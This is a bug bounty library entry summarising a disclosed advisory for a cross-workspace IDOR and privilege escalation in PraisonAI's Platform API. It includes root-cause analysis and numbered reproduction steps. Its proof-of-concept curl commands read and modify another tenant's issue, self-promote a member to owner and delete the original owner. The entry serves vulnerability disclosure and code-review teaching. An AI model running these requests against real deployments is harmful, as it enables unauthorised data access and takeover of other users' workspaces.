# PraisonAI has Cross-Workspace IDOR and Privilege Escalation via Platform API

PraisonAI Platform API service layer ignores workspace_id in get/update/delete and member routes lack role checks, letting any member read all workspaces and self-promote to owner.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by: joshuaalwin
- Disclosed: 2026-05-29
- CVE: CVE-2026-48169
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gv23-xrm3-8c62
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gv23-xrm3-8c62
- Tags: area:web domain:api domain:web impact:data-leak impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:idor vuln:privilege-escalation

**Target:** Platform API (FastAPI service layer, issues/projects/members endpoints)
**Root cause:** Service-layer get/update/delete use session.get(Model, pk) global lookups ignoring workspace_id, and member management routes only require min_role="member" with no self-modification, escalation, or last-owner guards.
**Steps:**
1. Register victim, create workspace, create issue with secret description; note ISSUE_ID and VICTIM_WS.
2. Register attacker, create own workspace ATK_WS.
3. `GET /api/v1/workspaces/$ATK_WS/issues/$ISSUE_ID` with attacker token returns victim's issue (workspace_id in response differs from URL).
4. `PATCH /api/v1/workspaces/$ATK_WS/issues/$ISSUE_ID` with `{"title":"TAMPERED"}` modifies victim's issue.
5. Victim adds attacker as member: `POST /workspaces/$VICTIM_WS/members/` with `{"user_id":"$ATK_ID","role":"member"}`.
6. Attacker self-promotes: `PATCH /workspaces/$VICTIM_WS/members/$ATK_ID` with `{"role":"owner"}` returns role owner.
7. Attacker removes original owner: `DELETE /workspaces/$VICTIM_WS/members/$VICTIM_ID` returns HTTP 204.
8. `GET /workspaces/$VICTIM_WS/members/` shows attacker as sole owner; CEO locked out.
**How found:** Code review noting the route layer extracts workspace_id and calls require_workspace_member, but the service methods it invokes use session.get(Model, pk) with no workspace filter, unlike the correctly scoped list_for_workspace; and that no route passes min_role above the default "member" despite has_role supporting hierarchy.
**Exploitation:** Any authenticated user with membership in any workspace swaps resource UUIDs in their own workspace-scoped URL to read/modify/delete issues and projects platform-wide. Separately, a member-level invite to a target workspace lets the attacker PATCH their own membership to owner and DELETE the original owner, taking sole control with no recovery path.
**Escalation:** IDOR requires only membership in any workspace to reach all tenants; privilege escalation converts a single member invite into full workspace ownership and lockout of the legitimate owner.
**Insight:** When a route verifies membership on a URL-scoped key but the service takes only the resource PK, the tenant check is decorative — grep for session.get(Model, pk) and compare against sibling list_for_workspace methods. Also grep for min_role defaults: a correct role-hierarchy helper is useless if no route ever raises the required role.

## Proof of concept (copied exactly from the original report)

**IDOR read of victim issue via attacker workspace**

```
curl -sfL "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

**Observed output (HTTP 200):**

{
  "id": "<ISSUE_ID>",
  "workspace_id": "<VICTIM_WS>",
  "title": "M&A Target List",
  "description": "Acquiring CompanyX for $2B. Board approved. Do not disclose.",
  "status": "backlog"
}
```

**Member self-promotes to owner via PATCH**

```
PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM_WS/members/$ATK_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"role":"owner"}')
echo "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\"role\"]}')
```

**Attacker deletes original owner from workspace**

```
curl -sLo /dev/null -w "HTTP %{http_code}" -X DELETE \
  "$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"
```

